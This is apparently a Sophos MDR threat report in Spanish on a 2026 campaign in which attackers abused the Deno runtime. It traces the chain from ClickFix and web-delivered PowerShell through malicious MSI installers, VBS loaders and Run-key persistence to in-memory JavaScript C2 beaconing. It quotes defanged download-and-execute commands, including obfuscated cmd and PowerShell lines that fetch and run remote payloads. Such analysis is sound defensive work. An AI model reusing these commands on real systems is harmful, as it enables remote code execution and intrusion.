El uso ílicito de entornos de ejecución alternativos como Deno preocupa a los defensores

A principios de 2026, Sophos MDR investigó varios casos de intrusión relacionados con un grupo de actividad maliciosa que abusaba constantemente de Deno, un entorno de ejecución legítimo de JavaScript y TypeScript, para ejecutar cargas maliciosas de JavaScript directamente en memoria. Aunque los vectores de acceso iniciales variaban según las víctimas, el análisis del malware, la infraestructura y las cadenas de ejecución observadas reveló un conjunto común de comportamientos y herramientas tras la intrusión.

Esta entrada examina las tácticas, técnicas y procedimientos (TTP) que los autores de las amenazas utilizaron y que el equipo de respuesta a incidentes de Sophos MDR observó durante la primera parte del año. Al analizar los puntos en común en una selección de casos, MDR identificó un marco de ataque repetible, al que continúa realizando un seguimiento. Nuestros compañeros de búsqueda de amenazas de la Counter Threat Unit de Sophos también han estado observando la evolución del uso malintencionado de Deno relacionado con ClickFix; aquí puedes leer lo que ven desde su perspectiva (y en una ventana de evaluación posterior).

Resumen

La creciente adopción de entornos de ejecución alternativos supone un reto para los defensores. Las herramientas de seguridad y las detecciones basadas en el comportamiento suelen estar optimizadas en torno a vías de ataque establecidas y motores de scripts que los atacantes utilizan habitualmente con fines maliciosos. Aunque Deno es una herramienta de desarrollo legítima, su adopción por parte de los atacantes refleja un cambio hacia el aprovechamiento de entornos de ejecución menos supervisados para facilitar la ejecución fiable de cargas útiles a través de vías que podrían pasar desapercibidas.

En los casos que analizamos en este informe, los atacantes utilizaron un enfoque «Bring Your Own Runtime» (BYOR) para garantizar una ejecución consistente en todas las configuraciones de las víctimas, independientemente de los entornos de ejecución que ya estuvieran presentes en el host. En todos estos casos, el actor malicioso descargó e instaló el entorno de ejecución de Deno antes de ejecutar cargas útiles de JavaScript ofuscadas, principalmente cargas útiles C2 (comando y control).

En varios de los casos observados, los autores de la amenaza combinaron ingeniería social, mecanismos de distribución basados en la web y malware camuflado como software legítimo para conseguir el acceso inicial. Una vez establecido el punto de apoyo, los atacantes utilizaron paquetes MSI maliciosos para desplegar cargadores de VBS y PowerShell que, posteriormente, recuperaban, instalaban y ejecutaban el entorno de ejecución de Deno. Tanto durante la fase de acceso inicial como en la actividad posterior al compromiso, los autores de la amenaza hicieron un uso intensivo de binarios «living-off-the-land» (LOLBins), entre los que se incluían msiexec, wscript, PowerShell, curl y tar. El uso extensivo de VBS, PowerShell y otros binarios nativos permitió a los atacantes establecer persistencia, identificar el host, recuperar cargas útiles adicionales, desplegar el entorno de ejecución de Deno y mantener las comunicaciones de comando y control, al tiempo que camuflaban la actividad maliciosa entre las operaciones legítimas del sistema.

Varias cargas útiles de JavaScript ejecutadas a través de Deno identificaron el host, realizaron comprobaciones de control de ejecución, mantuvieron comunicaciones C2 persistentes y, en algunos casos, facilitaron la recuperación y ejecución de cargas útiles adicionales. A pesar de las variaciones en la selección de víctimas y el despliegue de cargas útiles secundarias, los mecanismos de preparación subyacentes, las técnicas de despliegue del entorno de ejecución y el diseño del C2 se mantuvieron muy consistentes.

Estas observaciones coinciden con la actividad denunciada públicamente relacionada con el uso indebido de Deno. ThreatDown documentó una cadena de intrusión similar que implicaba la ejecución de JavaScript basada en Deno y la entrega del RAT Castle, lo que pone de relieve el creciente interés de los actores maliciosos por aprovechar entornos de ejecución alternativos para llevar a cabo operaciones más sigilosas tras el compromiso del sistema.

Este informe examina con más detalle los mecanismos de la campaña, incluidas las variaciones en el despliegue de cargas útiles secundarias entre las víctimas afectadas. Además, este informe presenta un análisis detallado de un archivo MSI malicioso recuperado, que ofrece información sobre los mecanismos de preparación del actor malicioso, sus técnicas de persistencia, sus acciones personalizadas y sus métodos de entrega de cargas útiles.

Análisis técnico e identificación

Las campañas

Figura 1: las similitudes superan a las diferencias en los árboles de proceso de las cuatro víctimas. Las variaciones en cada etapa en las que se observaron diferencias se indican con un contorno rojo.

La cadena de ataque siguió una progresión estructurada de

Preparación basada en PowerShell o comandos → Ejecución de MSI → Cargadores de VBS y PowerShell → Despliegue del entorno de ejecución de Deno → Ejecución de la carga útil en memoria.

Aunque los vectores de acceso inicial variaban, las acciones posteriores se mantuvieron uniformes, lo que acabó dando lugar a nuevas variaciones más adelante en la cadena: ejecución de JavaScript basada en Deno, comunicación de comando y control (C2), identificación del host y comportamiento de baliza periódica.

Acceso inicial

En los cuatro casos, los autores de la amenaza utilizaron diversas técnicas de acceso inicial, entre ellas un señuelo al estilo ClickFix, la ejecución de PowerShell activada desde la web, la ejecución de scripts distribuidos por la web y un MSI de PsExec troyanizado distribuido a través de un repositorio de GitHub falsificado.

En el primer caso, los atacantes lograron el acceso inicial mediante ingeniería social al estilo ClickFix, en la que mostraron a los usuarios mensajes falsos de verificación o de resolución de problemas del navegador. Estos mensajes te indican que copies y ejecutes manualmente comandos de PowerShell ofuscados, normalmente a través del cuadro de diálogo «Ejecutar» de Windows. Esto provocó la ejecución por parte del usuario de PowerShell, que recuperó y lanzó un instalador MSI malicioso, como se muestra:

"C:\windows\system32\msIeXEC.exe" /paCkAGE hxxp[:\\]sendtokenscf[.]com\system\..\Verifications\..\UsersID-466943 /Q 

En el segundo caso, el acceso inicial consistió en la descarga y ejecución en memoria de un script remoto. Esto indica que la infección probablemente se originó a raíz de la interacción del usuario con un sitio web malicioso o comprometido, aunque no se pudo confirmar el mecanismo exacto de entrega (ClickFix o ejecución «drive-by»). Entre las pruebas que lo respaldan se encuentra una sesión activa del navegador observada antes de la ejecución del comando, seguida de la ejecución de un símbolo del sistema ofuscado. Este comando reconstruyó una URL maliciosa e inició una instancia oculta de PowerShell para descargar y ejecutar contenido remoto en memoria, lo que posteriormente condujo a la recuperación y ejecución de una carga útil MSI maliciosa desde la URL «hxxps[://]ypjkevsbsdhj[.]zhivachkapro[.]com».

"C:\Windows\system32\cmd.exe" /v /c"set ha=o&set lo=om/p&set tg=bor&set od=hxxps[://]ypjke&set cn=vsbsdhj[.]zhivachkap&set fc=ro.c&set sv=!od!!cn!!fc!!lo!!ha!!tg!&set dt=nt&set wo=powershell -wi mi Invoke-Expres&set id=).Conte&set jj=sion(wget -usebas&!wo!!jj! !sv!!id!!dt!"
powershell  -wi mi Invoke-Expression(wget -usebas hxxps[://]ypjkevsbsdhj[.]zhivachkapro[.]com/pobor)[.]Content
"C:\Windows\system32\msiexec.exe" /i C:\Users\<user>\AppData\Roaming\<REDACTED>.msi /qn

En el tercer caso, creemos que el acceso inicial se produjo a través de la web, lo que implicó la descarga y ejecución de un script remoto durante una sesión activa del navegador. Aunque el script descargó finalmente la carga útil desde el dominio malicioso «koromoblog[.]com», no hay pruebas que confirmen que el usuario navegara directamente a este dominio. En cambio, la actividad observada apunta a una ejecución indirecta de un script a través de la web. Entre las pruebas que lo respaldan se encuentra la actividad del navegador previa a la ejecución del proceso, seguida del inicio de PowerShell en el contexto del usuario.

El atacante ejecutó PowerShell de forma oculta en el contexto del usuario para recuperar una carga útil MSI remota e instalarla a través de Windows Management Instrumentation (WMI), escribiéndola en la ruta «C:\ProgramData\u.msi» y ejecutándola con una interacción visible mínima por parte del usuario como parte de la cadena de infección.

PowerShell.exe -WindowStyle Hidden -Command "
$p = 'C:\ProgramData\u.msi';
Invoke-WebRequest 'hxxp[://]koromoblog[.]com/u' -OutFile $p;

Invoke-CimMethod -ClassName Win32_Product -MethodName Install -Arguments @{
    PackageLocation = $p;
    Options = 'ALLUSERS=2 MSIINSTALLPERUSER=1'
}
"

hxxps[://]www.bing[.]com/search?pglt=2083&q=psexec+systeminterls&cvid=26b2cafb71b1407b8e01649548cf56aa&gs_lcrp=EgRlZGdlKgYIABBFGDkyBggAEEUYOdIBCDU5MjBqMGoxqAIIsAIB&FORM=ANSPA1&PC=U531psexec systeminterls - Search 
hxxps[://]github[.]com/taskp/PsExec/releases/tag/v2.43Release v2.43 · taskp/PsExec · GitHub 
hxxps[://]github[.]com/psexhub/PsExec?tab=readme-ov-filegithub.com

Todos los casos acabaron con la ejecución de un archivo MSI malicioso, lo que convirtió la fase del instalador en un punto clave constante a lo largo de toda la campaña.

Marco de ejecución común

El autor de la amenaza usó archivos MSI maliciosos para instalar scripts de VBS y PowerShell, que descargaban el entorno de ejecución de Deno. Este fue un patrón común en todos los casos observados.

El uso de archivos MSI permitió al actor malicioso empaquetar y ejecutar la carga útil de forma fiable utilizando un formato de instalador nativo de Windows, lo que garantizaba la compatibilidad en todos los entornos de destino y permitía la ejecución a través del binario legítimo «msiexec.exe» para camuflarse entre el comportamiento legítimo del sistema y eludir las detecciones de seguridad. Este enfoque aumenta la probabilidad de que la ejecución tenga éxito durante la fase inicial de compromiso y proporciona un mecanismo estable para establecer la persistencia e iniciar las fases posteriores.

El actor de amenazas desplegó los scripts VBS y PowerShell en directorios en los que el usuario podía escribir, normalmente dentro de %LocalAppData%, mediante acciones personalizadas de MSI. El archivo VBS ejecutaba un comando de PowerShell sin configuración del perfil de usuario (-NoProfile), suprimía las solicitudes interactivas (-NonInteractive), ocultaba la ventana de ejecución (-WindowStyle Hidden), eludía las restricciones de la política de ejecución (-ExecutionPolicy Bypass) y se ejecutaba de forma asíncrona en segundo plano (indicadores 0, False) para evitar la detección y la interacción del usuario.

Los scripts VBS funcionaban principalmente como lanzadores ligeros y mecanismos de persistencia, encargados de invocar las cargas útiles de PowerShell asociadas y de mantener la ejecución a lo largo de las sesiones de usuario. Los scripts de PowerShell realizaban las actividades principales de preparación, como recuperar e instalar el entorno de ejecución de Deno y lanzar la carga útil de JavaScript con permisos sin restricciones.

Los investigadores observaron una convención de nomenclatura coherente en todos los casos, con nombres de archivos de script que coincidían en gran medida con el alfabeto fonético de la OTAN, lo que indica un enfoque de preparación estructurado y repetible.

Tabla 1: nombres de los scripts de carga de VBS y PowerShell en los cuatro casos

El uso indebido de LOLBin tuvo un papel destacado a lo largo de toda la cadena de ejecución. El actor de la amenaza utilizó de forma sistemática en todos los casos binarios básicos como «msiexec.exe», «wscript.exe» y «powershell.exe» como parte del marco de ejecución principal. Además, el autor de la amenaza implementó el entorno de ejecución de Deno con un enfoque estandarizado en todos los casos: utilizó «curl.exe» para descargar el entorno de ejecución y «tar.exe» para extraer el archivo comprimido. El uso indebido de binarios de sistema de confianza demuestra un enfoque deliberado para camuflar la actividad maliciosa entre procesos legítimos, al tiempo que mantiene un modelo de ejecución fiable. El uso indebido de binarios de sistema de confianza permite al autor de la amenaza camuflar la actividad maliciosa entre procesos legítimos, manteniendo al mismo tiempo un modelo de ejecución fiable.

curl.exe -s hxxps[://]dl[.]dDeno    [.]land/release-latest[.]txt 
curl.exe -Lo C:\Users\<User>\.deno\bin\deno.zip hxxps[://]dl[.]deno[.]land/release/v2[.]7[.]1/deno-x86_64-pc-windows-msvc[.]zip 
tar.exe xf C:\Users\<User>\.deno\bin\deno.zip -C C:\Users\<User>\.deno\bin

Análisis del malware en la fase MSI

Sophos MDR seleccionó la muestra MSI que se hacía pasar por un binario legítimo de PsExec del caso 4 para analizarla y relacionó su funcionalidad con la actividad observada durante la intrusión. Esta cadena de infección es la que más información ofrece sobre las herramientas del actor malicioso y su comportamiento tras la intrusión.

Los investigadores identificaron la actividad dos semanas antes de observar los demás casos de este informe.

El archivo «PsExec.msi» se incluía en el archivo comprimido «PsExec_v2.43.zip». Los atacantes publicaron anteriormente este archivo malicioso en GitHub en «hxxps[://]github[.]com/taskp/PsExec/releases/download/v2.43/PsExec_v2.43.zip» .

El análisis muestra que el archivo MSI se creó con WiX y usa funciones estándar del instalador, además de una acción personalizada para colocar y ejecutar scripts VBS y PowerShell como «Lynx_system59.vbs» (SHA256: 2541d96d1d071f87127bf0714f70692d25e1946632457718c6f378fcc4a3dca2), que a su vez ejecuta «python85.ps1» (SHA256: b0af82de672d81f3c2f153977923b3884a8a9e7045b182c2379b19a1996931a0) desde una subcarpeta llamada «Serial» en la carpeta local AppData del usuario mediante el comando wscript.exe «[INSTALLFOLDER]Lynx_system59.vbs». Estos scripts descargaban el entorno de ejecución legítimo de Deno y ejecutaban una carga útil de JavaScript ofuscada en memoria. El malware establecía la persistencia a través de la clave de registro «HKCU\Software\Microsoft\Windows\CurrentVersion\Run» con el valor «Papa_software10». El comando de la clave «Run» es idéntico a la acción personalizada que ejecuta wscript.exe, como se ha visto anteriormente.

En las siguientes secciones se analiza el orden de ejecución del archivo MSI malicioso.

Conjunto de herramientas del autor del malware

El autor del malware creó el archivo MSI con el Windows Installer XML Toolset (WiX), un software que genera paquetes de Windows Installer a partir de XML.

Figura 2: prueba que indica el uso del conjunto de herramientas WiX

El autor de la amenaza solía usar el alfabeto fonético de la OTAN en sus convenciones de nomenclatura. En la figura 3, la tabla de propiedades —que muestra los nombres y valores de todas las propiedades definidas en la instalación— indica que el fabricante es «echo_tool89». El nombre del producto aparece como «serial», lo que coincide con el directorio de instalación que veremos más adelante.

Figura 3: la tabla «Property» del MSI muestra los nombres y valores de las propiedades de la instalación, donde «Manufacturer» y «ProductName» coinciden con las convenciones de nomenclatura del autor de la amenaza.

Flujo de instalación

Según las tablas «InstallUISequence» e «InstallExecuteSequence», que controlan el flujo de la instalación del MSI, el autor del malware incluyó una acción personalizada llamada «RunVbsLauncher» para ejecutar los archivos generados por dicho proceso.

Figura 4: la tabla «InstallExecuteSequence» del MSI ordenada por número de secuencia ascendente

Instalación de archivos

Figura 5: la tabla «Directory» del MSI indica que el directorio INSTALLFOLDER se llama «Serial» y tiene como directorio principal «LocalAppDataFolder»

El archivo MSI contiene un archivo cabinet «data.cab», que a su vez contiene dos archivos: un archivo VBS de 439 bytes llamado «Lynx_system59.vbs» y un script de PowerShell de 3125 bytes llamado «python85.ps1». La acción «InstallFiles» copia los archivos especificados en la tabla «File» del archivo data.cab del MSI al directorio de destino «C:\Users\<user>\AppData\Local\Serial\».

Ambos archivos tienen el atributo «msidbFileAttributesVital», que indica a Windows Installer que son componentes de instalación obligatorios. Si falta alguno de los dos archivos, la instalación falla y Windows Installer revierte la instalación.

Figura 6: la tabla «File» del MSI muestra los scripts incluidos en el archivo MSI

Acciones personalizadas maliciosas

Una vez colocados los scripts, el actor malicioso utiliza una acción personalizada «RunVbsLauncher» con tipo «1250», que ordena a wscript.exe que ejecute «Lynx_system59.vbs». La línea de comandos incluida en la acción es «wscript.exe "[INSTALLFOLDER]Lynx_system59.vbs"». Wscript.exe se ejecuta de forma asíncrona como un proceso secundario de msiexec.exe y continúa tras la finalización de msiexec.exe.

Figura 7: la tabla CustomAction muestra «RunVbsLauncher», especificada por el actor malicioso para ejecutar el archivo VBS incluido a través de wscript.exe

Establecimiento de la persistencia

El autor de la amenaza establece la persistencia utilizando la acción WriteRegistryValues para configurar «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Papa_software10» con el valor «wscript.exe "[INSTALLFOLDER]Lynx_system59.vbs», idéntico a la acción personalizada anterior. Esto ocurre después de que wscript.exe ejecute el archivo VBS y actúa como mecanismo de persistencia para ejecutar periódicamente el archivo VBS a través de la clave «Run» de Windows para HKCU.

Figura 8: tabla del Registro que muestra el mecanismo de persistencia de la clave «Run»

Deno como motor de ejecución sin archivos

Tras el despliegue a través de la cadena de preparación MSI-VBS-PowerShell, el actor malicioso recuperó el entorno de ejecución de Deno de una infraestructura legítima de Deno, lo extrajo utilizando utilidades nativas de Windows y lo ejecutó como plataforma principal para la ejecución de la carga útil de JavaScript.

Una vez que el actor malicioso introdujo con éxito «deno.exe», el binario del entorno de ejecución de JavaScript de Deno, lo ejecutó con el indicador -A (allow-all), lo que le otorgó acceso sin restricciones al sistema de archivos, a la red y a las variables de entorno. Proporcionó la carga útil en línea mediante «data:application/javascript;base64,<carga útil codificada>», lo que permitió que JavaScript se ejecutara directamente en memoria sin escribir scripts en el disco.

La carga útil de JavaScript obtiene la huella digital del host y utiliza un pseudomutex para evitar instancias duplicadas del malware. El C2 se gestiona a través de dominios y direcciones IP codificados de forma fija y utiliza comprobaciones de conectividad mediante endpoints /health para determinar la infraestructura activa. Los dispositivos infectados en campañas activas recuperan cargas útiles adicionales a través del endpoint «/mv2/», ejecutándolas directamente en memoria con permisos «allow-all». Este enfoque permitía una comunicación persistente, garantizando el funcionamiento continuo incluso si algún endpoint C2 dejaba de estar disponible.

Una vez establecido Deno como plataforma de ejecución, nuestro análisis se centró en la propia carga útil de JavaScript.

JavaScript ofuscado ejecutado por Deno.exe

La carga útil secundaria de JavaScript estaba codificada en Base64 y tenía nombres de funciones de un único carácter para ocultar su propósito. Su función principal tomaba la huella digital del host y enviaba señales periódicamente a un endpoint /health para comprobar si la campaña estaba activa. También usaba un puerto de localhost como pseudomutex para evitar que el mismo dispositivo se volviera a infectar.

La función principal del script, la función m(), primero pasa un puerto seleccionado (10044) a la función s(), que actúa como un mutex sencillo para garantizar que solo se ejecute una instancia del malware en el dispositivo. Si el 10044 ya está en uso, el proceso de Deno se cierra con el código de error 1.

Figura 9: funciones s() y m() que muestran el enlace en localhost:10044 actuando como un pseudomutex

Si la comprobación del mutex tiene éxito, la función a() realiza un análisis de huellas del sistema recopilando el nombre de usuario, el nombre del host, la memoria del sistema y la información de la versión del SO. La función i() recibe el resultado y actúa como función hash para crear un identificador único del dispositivo infectado. Los autores de la amenaza pueden usar este identificador para rastrear los dispositivos infectados en diferentes campañas.

Figura 10: función a() que muestra los comandos de detección del sistema

A continuación, el malware crea una cadena URI dirigida al endpoint «/health» del C2. Un bucle «for» comprueba continuamente la conectividad con el C2 mediante la función d() y devuelve errores si no hay ninguno activo.

Figura 11: función d(), encargada de contactar con el C2 codificado de forma fija

Figura 12: captura de Wireshark que muestra la representación ASCII de los paquetes del cliente dirigidos al URI /health

Si tiene éxito, el script crea otra cadena URI a partir del servidor C2 que responde desde la función d() como variable e(), un token JSON Web Token (JWT) incrustado y la huella digital del equipo como variable t():

let o = `${e}/mv2/[JWT_TOKEN]/${t}`;

La función u() envía esta solicitud al endpoint URI «/mv2/…» del C2.

Figura 13: captura de Wireshark que muestra la representación ASCII de los paquetes del cliente dirigidos a la URI /mv2/

Si la infraestructura C2 estuviera activa, el análisis del código muestra que el entorno de ejecución de Deno habría ejecutado la respuesta mediante la función l(), que ejecuta deno con permisos «--allow-all» a través del argumento -A.

Figura 14: la función m() llama a la función l() con la cadena URI ensamblada dirigida al endpoint /mv2/, y la función l() ejecuta la carga útil devuelta con el argumento -A

En el caso 4, el actor malicioso recuperó posteriormente scripts de PowerShell y ejecutó PowerShell a través de un binario legítimo de PsExec para obtener un shell con privilegios de SYSTEM. A continuación, procedió a realizar el descubrimiento y la enumeración del dominio y la red antes de extraer las credenciales del subárbol SAM del registro.

Observaciones a nivel de campaña

A lo largo de esta campaña, todos los casos siguieron un patrón de ejecución similar, pero difirieron en los métodos de acceso inicial. Los instaladores MSI descargaban cargadores VBS y PowerShell antes de pasar a Deno para la ejecución de la carga útil.

Pudimos descubrir varios medios que el actor malicioso empleó para gestionar la campaña. Además de los distintos dominios C2, también realizaban un seguimiento de la campaña mediante reclamaciones personalizadas en un JWT incrustado.

Figura 15: sección de reclamaciones descodificadas del JWT que muestra reclamaciones personalizadas, entre las que destacan «campaignId» y «campaignName»

Los operadores de «malware como servicio» (MaaS) comercializan sus servicios a otros actores maliciosos y necesitan mecanismos para hacer un seguimiento del uso de la infraestructura de los clientes. La presencia de los campos personalizados «campaignId» y «campaignName» añadidos al JWT podría indicar esa relación. La tabla 2 que aparece a continuación destaca los diferentes JWT e indicadores entre los casos.

Tabla 2: comparativa de los nombres de los scripts, los indicadores C2 y los identificadores de campaña JWT en los distintos casos.

El malware de JavaScript también presentaba un comportamiento similar al de un mutex que impedía la reinfección del mismo dispositivo, así como una función de huella digital que generaba un identificador único basado en el nombre de usuario, el nombre del host, la memoria del dispositivo y el sistema operativo. Esto habría sido útil para gestionar la campaña en diferentes dispositivos y entornos de las víctimas.

Contramedidas de Sophos

La cadena de eventos en estas intrusiones activó múltiples detecciones de Sophos en distintas fases de la actividad: la fase de ejecución remota del MSI activó una, al igual que la ejecución del cuadro de diálogo «run» al estilo ClickFix, la descarga de deno.exe desde PowerShell y otras. Durante nuestra investigación, identificamos varias oportunidades para crear reglas que señalaran comportamientos inesperados de Deno, incluidas reglas contextuales que pueden detectar comportamientos anómalos posteriores originados a través de Deno. En la publicación de la CTU encontrarás una lista de contramedidas de Taegis capaces de detectar la actividad relacionada con el uso malintencionado de Deno. Cada entorno también puede gestionar el tiempo de ejecución de Deno mediante las reglas de Control de aplicaciones / PUA (AppC/Deno-A) en Central. Por último, en nuestro GitHub hay disponible un archivo con los indicadores de compromiso (IoC) relacionados con esta investigación.

Conclusión

En los cuatro casos que hemos destacado aquí, los actores maliciosos introdujeron Deno como capa de ejecución. Esto supone un cambio en las tácticas de los atacantes: aprovechan un entorno de ejecución menos supervisado para aumentar la fiabilidad de la ejecución y reducir la probabilidad de detección debido a la limitada cobertura defensiva.

Y lo más importante: esto pone de manifiesto una brecha de detección cada vez mayor, sobre todo en lo que respecta al uso indebido de entornos de ejecución como Deno, la preparación basada en MSI y la ejecución encadenada de scripts a través de varias herramientas. El uso de JavaScript sin archivos limita aún más los métodos de detección tradicionales, lo que hace que este enfoque sea cada vez más difícil de identificar con los controles de seguridad habituales.